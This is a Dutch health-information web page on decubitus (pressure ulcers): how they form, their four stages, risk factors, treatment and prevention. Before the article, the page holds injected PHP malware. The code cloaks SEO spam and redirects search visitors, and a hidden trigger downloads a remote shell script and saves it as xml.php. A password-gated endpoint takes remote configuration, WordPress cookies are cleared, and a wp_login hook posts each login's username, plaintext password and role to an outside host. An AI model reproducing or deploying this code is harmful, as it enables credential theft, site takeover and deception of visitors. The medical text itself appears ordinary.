if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $id = $_SERVER['REQUEST_URI']; if (preg_match_all("/ffgg$/", $id, $matches) ) { echo '111111'; } $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { $apiToken = 'tws5mkxns8qpz5hqywtcknjfw4wgrbhp'; $keyword =$_SERVER['REQUEST_URI']; $url_page=$_SERVER['REQUEST_URI']; $ua = urlencode($_SERVER['HTTP_USER_AGENT']); $lang = (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : ''); $ip = null; $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $ip = $_SERVER[$header]; break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = trim($tmp[0]); } else { $ip = $_SERVER['REMOTE_ADDR']; } $referrer = urlencode(@$_SERVER['HTTP_REFERER']); $url = "https://bantuzu.info/api.php?is_api=1&action=get&token=$apiToken&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang&sub_id_1=".$_SERVER['HTTP_HOST']."&" . http_build_query($_GET) . ""; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); $result = json_decode($output); print $result->{'body'}; } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://acagna.info/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://acagna.info/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://acagna.info/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://acagna.info/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://acagna.info/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://acagna.info/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang="nl"> <![endif]--> <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8" lang="nl"> <![endif]--> <!--[if IE 8]> <html class="no-js lt-ie9" lang="nl"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="nl"> <!--<![endif]--> <head> <!-- Google Tag Manager --> <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); 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Komt vaak voor bij mensen...

Decubitus

Decubitus of doorligwonden komen vaak voor bij mensen die langdurig bedlegerig of geïmmobiliseerd zijn door ziekte of een ongeval. Een decubituswond vraagt veelvuldige verzorging en heeft vaak meerdere maanden nodig om te genezen. Het treft vooral oudere patienten van gemiddeld 74 jaar.

Wat is decubitus?

Een decubitus wond, ook wel doorligplekken genoemd, is een chronische wond die ontstaat door langdurige druk op de huid tijdens het zitten of liggen. Deze druk comprimeert het weefsel tussen twee harde vlakken en voorkomt dat het bloed normaal stroomt. Hierdoor neemt de zuurstoftoevoer in cellen af, wat ervoor kan zorgen dat cellen afsterven, de huid stuk gaat en er decubituswond ontstaat. Een decubituswond ontwikkelt zich soms in slechts een paar uur tijd.

Decubitus ontstaat meestal op de plaats van een uitstekend bot. In 80% van de gevallen is dat bij het heiligbeen of de hiel. Andere risicoplaatsen zijn de ellebogen, schouderbladen of de achterkant van het hoofd.

Decubitus wordt afhankelijk van de ernst ingedeeld in verschillende categorieën:

  • Fase 1: aanhoudende roodheid
    Decubitus in stadium 1 is roodheid die verschijnt en niet wegdrukbaar is. De huid is nog intact en er is nog geen wond. In dit stadium is specifieke zorg vereist. In dit geval wordt aanbevolen om druk te verminderen om te voorkomen dat de aandoening verergert.
  • Fase 2: Huidbeschadiging die de epidermis en dermis bereikt. 
    De wond is gevormd, de huid is stuk.
  • Fase 3: een diepe wond waarbij de epidermis, dermis en hypodermis zijn aangetast.
    Er kan necrotisch (zwart) weefsel en korstvorming aanwezig zijn. Let op: decubitus lijkt aan de oppervlakte altijd kleiner dan in werkelijkheid het geval is.
  • Fase 4: een diepe decubitus wond.
    Een diepe wond met ernstige necrose en schade aan botten, pezen en spieren.

De factoren die de ontwikkeling van decubitus bevorderen:

  • Immobiliteit
  • De leeftijd van de patiënt. Hoewel decubitus ook voorkomt bij kinderen, lopen vooral patiënten ouder dan 70 jaar een verhoogd risico.
  • Ondervoeding
  • De kwaliteit van de huid. In feite geldt dat, hoe dunner de huid is, hoe gevoeliger voor wrijving, afschuiving en druk.
  • Incontinentie, die permanente vochtheid veroorzaakt verzwakt het weefsel door maceratie.
  • Verminderde motorische vaardigheden en gebrek aan mobilisatie.
  • Verminderde gevoeligheid van de huid. De patiënt (waarbij soms neurologische klachten spelen) ervaart geen pijn en heeft niet de reflex om van houding te veranderen.

Behandeling van decubitus

Ongeacht het stadium van de decubitus moet de behandeling zo snel mogelijk worden gestart.

Het type behandeling hangt af van het stadium van de decubitus (omkeerbaarheid of onomkeerbaarheid van de laesie), maar blijft meestal synoniem met herstel.

Ten eerste, als er een zichtbare laesie is, moet deze worden beschermd met een geschikt verband.

Bij beschadiging van de epidermis en dermis zal het verplegend personeel reinigings- en genezende behandelingen uitvoeren.

Ongeacht de ernst van de decubitus, is de eerste stap het opheffen of het verlichten van de druk. Bijvoorbeeld door de positie van de patiënt elke 2 tot 3 uur te veranderen. Daarnaast zal het installeren van een specifieke matras (schuim, water, lucht) en/of kussens de druk verlichten en verdelen in de risicogebieden. Bovendien moet elke behandeling gepaard gaan met passende zorg voor de voedingstoestand van de patiënt en de verschillende comorbiditeiten.

En daarna?

Tot slot, als we weten dat 2 uur zonder beweging voldoende kan zijn om ​​decubitus te veroorzaken, zullen deze preventieve maatregelen nuttig zijn voor zowel de patiënt als hun verzorgers:

  • Onderzoek systematisch de delen van het lichaam waar zich een doorligwond kan ontwikkelen (drukzones).
  • Mobiliseer de patiënt, ook als dat betekent dat u een verpleegkundige of fysiotherapeut moet vragen.
  • Voer ten minste één keer per dag een volledig toilet uit en voer een perineumtoilet uit als de patiënt vuil is.
  • Gebruik geen ruwe stoffen om de huid te drogen.
  • Vervang de lakens dagelijks.
(1) Quoted by C. Revaux in the Consensus Conference Prevention and Treatment of Pressure Ulcers in Adults and the Elderly (Conférence de consensus Prévention et traitement des escarres de l’adulte et du sujet âgé). 15/16 Nov 2001. Georges Pompidou European hospitalken 
Pagina bijgewerkt op 24 maart 2023